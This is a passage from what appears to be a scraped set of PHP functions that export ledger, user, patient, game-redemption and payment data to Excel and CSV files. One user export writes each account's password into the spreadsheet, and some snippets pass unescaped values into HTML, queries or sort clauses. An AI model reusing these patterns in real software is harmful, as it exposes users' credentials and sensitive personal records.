$collection4)\n\t\t\t\t\t{\n\t\t\t\t\t$party_name = $collection4['ledger_sub_account']['name'];\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\tif($posting_date >= $from && $posting_date <= $to)\n\t\t{\n\t\t\t$total = $total+$amount;\n$excel.=\"<tr>\n<td style='text-align:right;'>$receipt_id</td>\n<td style='text-align:left;'>$posting_date</td>\n<td style='text-align:left;'>$due_date</td>\n<td style='text-align:left;'>$invoice_date</td>\n<td style='text-align:left;'>$ledger_name</td>\n<td style='text-align:left;'>$invoice_reference</td>\n<td style='text-align:left;'>$party_name</td>\n<td style='text-align:right;'>$amount</td>\n</tr>\";\n}}\n$excel.=\"<tr>\n<th colspan='7' style='text-align:right;'>Total</th>\n<th>$total</th>\n</tr>\n</table>\";\n\t\necho $excel;\n}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "function ods_analyze_data() {\n $results_level1 = array();\n foreach ($this->schema['named-range'] as $range) {\n $range_name = $range['name'];\n switch ($range['level']) {\n case 1:\n if (!empty($this->data[$range_name])) {\n // get all rows elements on this range\n //foreach($this->data[ $range_name ] as $data_level1){\n //row cycle\n $results_level1[$range_name]['rows'] = $this->ods_render_range($range_name, $this->data);\n }\n break;\n }\n }\n if ($results_level1){\n $sheet = $this->dom\n ->getElementsByTagName('table')\n ->item(0);\n \n foreach ($results_level1 as $range_name => $result){\n \n //delete template on the sheet\n $in_range = false;\n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('range_name')\n && $row->getAttribute('range_name') == $range_name\n && $row->hasAttribute('range_start')\n \n ){\n $results_level1[ $range_name ]['start'] = $row;\n $in_range = true;\n }\n \n if ($in_range){\n $row->setAttribute('remove_me_please', 'yes');\n }\n \n if ($row->hasAttribute('range_name')\n \n && $row->hasAttribute('range_end')\n && in_array($range_name, explode(',', $row->getAttribute('range_end')) )\n ){\n $results_level1[ $range_name ]['end'] = $row;\n $in_range = false;\n } \n \n }\n \n //insert data after end \n foreach ( $results_level1[$range_name]['rows'] as $row ){\n $results_level1[ $range_name ]['start']\n ->parentNode\n ->insertBefore($row, $results_level1[ $range_name ]['start']);\n }\n \n }\n \n //clear to_empty rows\n $remove_rows = array();\n \n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('remove_me_please')){\n $remove_rows[] = $row;\n }\n }\n \n foreach ($remove_rows as $row){\n $row->parentNode->removeChild($row);\n }\n \n //after this - rows count is CONSTANT\n if (!empty( $this->hasFormula )){\n $this->ods_recover_formula();\n }\n \n }\n }", "public function exceldata($cond){\n\t\t if($cond['playid']!='null'&&$cond['playid']!=''){\n\t\t\t\t$map['user_id']=$cond['playid'];\n\t\t\t}\n\t\t\tif($cond['user_phone']!='null'&&$cond['user_phone']!=''){\n\t\t\t\t$map['user_phone']=$cond['phone'];\n\t\t\t}\n\t\t\tif(!$cond['orderfile']){\n\t\t\t\t$cond['orderfile']='user_id desc';\n\t\t\t}\n\t\t\tif(!$cond['ordertype']){\n\t\t\t\t$cond['ordertype']=null;\n\t\t\t}\n $count= $this->where($map)->count();// 查询满足要求的总记录数 \n $Page= new \\Think\\Page($count,10000);// 实例化分页类 传入总记录数和每页显示的记录数(25) \n $ppp = ceil($count/10000); \n $pp = range(1,$ppp);\n $str= \"用户id,兑换游戏,兑换时间,兑换物品,联系方式\"; \n $exl11 = explode(',',$str);\n foreach ($pp as $kkk => $vvv) { \n $rs[$kkk] = $this->join('tbl_goods ON tbl_convert_good.convert_good_id = tbl_goods.good_id')->where($map)->order($cond['orderfile'].' '.$cond['ordertype'])->page($vvv.', 10000')->field('user_id,user_phone,convert_good_id,goods_name,goods_desc,data')->select();\n foreach ($rs[$kkk] as $key => $value) {\n\t\t\t\t\tif(strstr($value['convert_good_id'],\"TURNTABLE\")||strstr($value['convert_good_id'],\"CONVERT\")){\n\t\t\t\t\t\t$rs[$kkk][$key]['goods_name']=$value['goods_desc'].$value['goods_name'];\n\t\t\t\t\t\t$rs[$kkk][$key]['game_name']=$cond['gamename'];\n\t\t\t\t\t}\n\t\t\t\t}\n \n foreach ($rs[$kkk] as $k => $v){ \n if (!$v['user_id']) $v['user_id'] = '暂无数据'; \n if (!$v['game_name']) $v['game_name'] = '暂无数据'; \n if (!$v['data']) $v['data'] = '暂无数据'; \n if (!$v['goods_name']) $v['goods_name'] = '暂无数据'; \n if (!$v['user_phone']) $v['user_phone'] = '暂无数据'; \n $exl[$kkk][] = array( \n $v['user_id'],$v['game_name'],$v['data'],$v['goods_name'],$v['user_phone'] \n ); \n } \n \texportToExcel('兑换物品_'.time().$vvv.'.csv',$exl11,$exl[$kkk]); \n } \n exit();\n\t\t}", "public function general(){\n\t\t\n\t\t$data = array();\n\t\t//Query for get list of record\n\t\t$query = \"select cus.fb_id, cus.fb_name, cus.fb_email, cus.c_date , img.image, img.c_date as img_date\";\n\t\t$query .= \" from tb_customer cus inner join tb_image img\";\n\t\t$query .= \" on cus.fb_id = img.fb_id and cus.keygen = img.keygen \";\n\t\t$query .= \"order by cus.c_date desc\";\n\t\t$result = $this->db->query( $query );\n\t\t$data['list_report'] = $result->result_array();\n\t\t\n\t\t\n\t\t//load our new PHPExcel library\n\t\t$this->load->library('excel');\n\t\t//activate worksheet number 1\n\t\t$this->excel->setActiveSheetIndex(0);\n\t\t//name the worksheet\n\t\t$this->excel->getActiveSheet()->setTitle('General Report');\n\t\t//set cell A1 content with some text\n\t\t$i = 1 ;\n\t\t$num = 2 ;\n\t\t$this->excel->getActiveSheet()->setCellValue('A1','Number');\n\t\t$this->excel->getActiveSheet()->setCellValue('B1','FB Id');\n\t\t$this->excel->getActiveSheet()->setCellValue('C1','FB Name');\n\t\t$this->excel->getActiveSheet()->setCellValue('D1','FB Email');\n\t\t$this->excel->getActiveSheet()->setCellValue('E1','Time to play');\n\t\t$this->excel->getActiveSheet()->setCellValue('F1','Image');\n\t\t$this->excel->getActiveSheet()->setCellValue('G1','Time to image');\n\t\t\n\t\tforeach( $data['list_report'] as $report ){\n\t\t\t\n\t\t\t$this->excel->getActiveSheet()->setCellValue('A'.$num,$i);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('B'.$num,$report['fb_id'] );\n\t\t\t$this->excel->getActiveSheet()->setCellValue('C'.$num,$report['fb_name']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('D'.$num,$report['fb_email']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('E'.$num,$report['c_date']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('F'.$num,$report['image']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('G'.$num,$report['img_date']);\n\t\t\t\n\t\t\t$num++;\n\t\t\t$i++;\n\t\t}\n\t\t \n\t\t$filename = $this->createFilename( 'General' ); //save our workbook as this file name\n\t\theader('Content-Type: application/vnd.ms-excel;charset=tis-620\"'); //mime type\n\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\n\t\theader('Cache-Control: max-age=0'); //no cache\n\t\t\t\t\t\n\t\t//save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n\t\t//if you want to save it as .XLSX Excel 2007 format\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \n\t\t//force user to download the Excel file without writing it to server's HD\n\t\t$objWriter->save('php://output');\n\t\t\n\t}", "public function exceldata($cond,$goodsprice,$accountxlmj){\n\t\t$rdata=array();\n\t\t$tdata=array();\n\t\t$map=array();\n\t\t$gameid=$cond['gameid'];\n\t\t$page=$cond['page'];\n\t\t$count= count($this->field(\"COUNT(*)\")->GROUP(\"DATE_FORMAT(pay_time,'%Y-%m-%d')\")->select());// 查询满足要求的总记录数 \n $Page= new \\Think\\Page($count,10000);// 实例化分页类 传入总记录数和每页显示的记录数(25) \n $ppp = ceil($count/10000); \n $pp = range(1,$ppp);\n $str= \"统计日期,充值人数,充值次数,充值金额,新增充值人数,新增充值次数,新增充值金额\"; \n $exl11 = explode(',',$str);\n\t\tforeach ($pp as $kkk => $vvv){\n\t\t\t$res1=$this->field(\"DATE_FORMAT(pay_time,'%Y-%m-%d'),count(user_id),count(DISTINCT user_id)\")->GROUP(\"DATE_FORMAT(pay_time,'%Y-%m-%d')\")->order(\"DATE_FORMAT(pay_time,'%Y-%m-%d') desc\")->page($vvv.', 10000')->select();\n\t\t\t$days=array();\n\t\t\tforeach ($res1 as $key => $value) {\n\t\t\t\tarray_push($days, $value[\"date_format(pay_time,'%y-%m-%d')\"]);\n\t\t\t}\n\t\t\t$goodsids=array();\n\t\t\tforeach ($days as $key => $valuex) {\n\t\t\t\t$childx=array();\n\t\t\t\t$resx=$this->field('good_id')->where(\"DATE_FORMAT(pay_time,'%Y-%m-%d')='\".$valuex.\"'\")->select();\n\t\t\t\tforeach ($resx as $key => $value) {\n\t\t\t\t\tarray_push($childx, $value['good_id']);\n\t\t\t\t}\n\t\t\t\t$goodsids[$valuex]=$childx;\n\t\t\t}\n\t\t\t$goodsparr=array();\n\t\t\tforeach ($goodsids as $key => $value) {\n\t\t\t\t$price=0;\n\t\t\t\tforeach ($value as $keys => $values) {\n\t\t\t\t\tif($goodsprice[intval($values)]){\n\t\t\t\t\t\t$price+=$goodsprice[intval($values)];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$goodsparr[$key]=$price;\n\t\t\t}\n\t\t\tforeach ($res1 as $key => $value) {\n\t\t\t\t$timec=$value[\"date_format(pay_time,'%y-%m-%d')\"];\n\t\t\t\tforeach ($goodsparr as $keye => $valuee) {\n\t\t\t\t\tif($timec==$keye){\n\t\t\t\t\t\t$res1[$key]['recharge']=$valuee;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\n\t\t\tfor ($i=0; $i <count($res1) ; $i++) { \n\t\t\t$tdata[$i]['paytime']=$res1[$i][\"date_format(pay_time,'%y-%m-%d')\"];\n\t\t\t$mapp[\"pay_time\"]=array('between',$tdata[$i]['paytime'].' 00:00:00,'.$tdata[$i]['paytime'].\" 23:59:59\");\n\t\t\t$newids=$accountxlmj->getTimeNew($tdata[$i]['paytime'].' 00:00:00',$tdata[$i]['paytime'].\" 23:59:59\");\n\t\t\t//var_dump($newids);\n\t\t\t$payerids=$this->where($mapp)->field('user_id,good_id')->select();\n\t\t\tfor ($j=0; $j < count($payerids) ; $j++) {\n\t\t\t\t$tempid=$payerids[$j]['user_id'];\n\t\t\t\tif(!in_array($tempid,$newids)){\n\t\t\t\t\tunset($payerids[$j]);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$newpay=0;\n\t\t\t$newpayer=array();\n\t\t\tforeach ($payerids as $key => $value) {\n\t\t\t\tarray_push($newpayer, $value['user_id']);\n\t\t\t\tif($goodsprice[intval($value['good_id'])]){\n\t\t\t\t\t\t$newpay+=$goodsprice[intval($value['good_id'])];\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$tdata[$i]['newpaynums']=count($payerids);//新增次数\n\t\t\t$tdata[$i]['newpaymoney']=$newpay;//新增金额\n\t\t\t$tdata[$i]['newpayplayers']=count(array_unique($newpayer));//新增人数\n\t\t\t$tdata[$i]['payplayers']=$res1[$i][\"count(distinct user_id)\"];\n\t\t\t$tdata[$i]['paynums']=$res1[$i][\"count(user_id)\"];\n\t\t\t$tdata[$i]['paymoney']=$res1[$i][\"recharge\"];\n\t\t}\n\t\t// var_dump($tdata);\n\t\t// \texit();\n\t\t\tforeach ($tdata as $k => $v){ \n if (!$v['paytime']) $v['paytime'] = '暂无数据'; \n if (!$v['payplayers']) $v['payplayers'] = '0'; \n if (!$v['paynums']) $v['paynums'] = '0'; \n if (!$v['paymoney']) $v['paymoney'] = '0'; \n if (!$v['newpayplayers']) $v['newpayplayers'] = '0'; \n if (!$v['newpaynums']) $v['newpaynums'] = '0'; \n if (!$v['newpaymoney']) $v['newpaymoney'] = '0'; \n $tdatas[] = array( \n $v['paytime'],$v['payplayers'],$v['paynums'],$v['paymoney'],$v['newpayplayers'],$v['newpaynums'],$v['newpaymoney'] \n ); \n }\n \texportToExcel('充值记录_'.time().$vvv.'.csv',$exl11,$tdatas); \n\t\t}\n\t\texit();\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n 